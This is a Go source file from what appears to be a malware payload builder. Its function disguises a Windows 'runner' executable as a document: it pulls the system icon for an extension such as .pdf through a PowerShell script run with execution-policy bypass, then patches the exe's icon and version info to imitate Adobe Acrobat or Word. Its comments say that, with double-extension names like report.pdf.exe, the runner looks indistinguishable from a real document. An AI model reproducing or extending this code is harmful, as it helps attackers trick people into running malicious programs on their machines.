//go:build windows package builder import ( "fmt" "log" "os" "os/exec" "path/filepath" "strings" ) // applyDocumentDisguise patches a compiled Windows runner .exe to impersonate // the file type identified by payloadExt. // // What it does: // 1. Extracts the Windows system icon registered for that extension (e.g. the // Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that // extension and using PowerShell to read the shell's associated icon. // 2. Builds a go-winres JSON patch that sets both the icon and the PE version // info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.) // to match the legitimate application for that file type. // 3. Patches the runner exe in-place. // // After this runs, Windows Explorer shows the runner with the exact icon and // file description of a real document (e.g. "Adobe Acrobat Document" for .pdf). // Combined with double-extension naming (report.pdf.exe) the runner is visually // indistinguishable from the real file when extension hiding is on (Windows default). func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error { info := fileDisguiseForExt(payloadExt) workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*") if err != nil { return fmt.Errorf("disguise workdir: %w", err) } defer os.RemoveAll(workDir) // Step 1 — extract the system icon for this file extension icoPath := filepath.Join(workDir, "payload.ico") if err := extractSystemIconForExt(payloadExt, icoPath); err != nil { log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err) if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil { return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2) } } // Step 2 — build the winres patch JSON (icon + version info) jsonBytes, err := winresVersionJSON(info, "payload.ico") if err != nil { return fmt.Errorf("disguise: winres json: %w", err) } jsonPath := filepath.Join(workDir, "disguise.json") if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil { return fmt.Errorf("disguise: write json: %w", err) } // Step 3 — patch the exe with go-winres if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil { return fmt.Errorf("disguise: go-winres patch: %w", err) } log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt)) return nil } // extractSystemIconForExt creates a 0-byte temp file with the given extension // and uses PowerShell's System.Drawing to read the shell-registered icon for it. // This gives us the exact same icon that Windows Explorer would show for a real // file of that type — Adobe Acrobat for .pdf, Word for .docx, etc. func extractSystemIconForExt(ext, icoPath string) error { extEsc := strings.ReplaceAll(ext, `'`, `''`) icoEsc := strings.ReplaceAll(icoPath, `'`, `''`) script := fmt.Sprintf(` $ErrorActionPreference = 'Stop' Add-Type -AssemblyName System.Drawing # Create a disposable 0-byte temp file with the target extension $tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s') [System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0)) try { $icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp) if ($null -eq $icon) { throw 'no icon associated with extension %s' } $dir = Split-Path -Parent '%s' if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null } $fs = [System.IO.File]::Create('%s') $icon.Save($fs) $fs.Close() } finally { Remove-Item -Force -ErrorAction SilentlyContinue $tmp } `, extEsc, extEsc, icoEsc, icoEsc) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) out, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out))) } if _, err := os.Stat(icoPath); err != nil { return fmt.Errorf("icon file not written for %s: %w", ext, err) } return nil } // writeBuiltinIconForExt writes a minimal embedded fallback .ico for common // document types. Used when the system icon extraction fails (e.g. the application // is not installed on the forge machine). The icons are very small but correct. func writeBuiltinIconForExt(ext, icoPath string) error { // Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch. // In practice extractSystemIconForExt should always work on a Windows machine. const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" + "\x28\x00\x00\x00\x16\x00\x00\x00" + "\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" + "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\xff\x00\x00\x00\x00\x00" return os.WriteFile(icoPath, []byte(minimalICO), 0644) }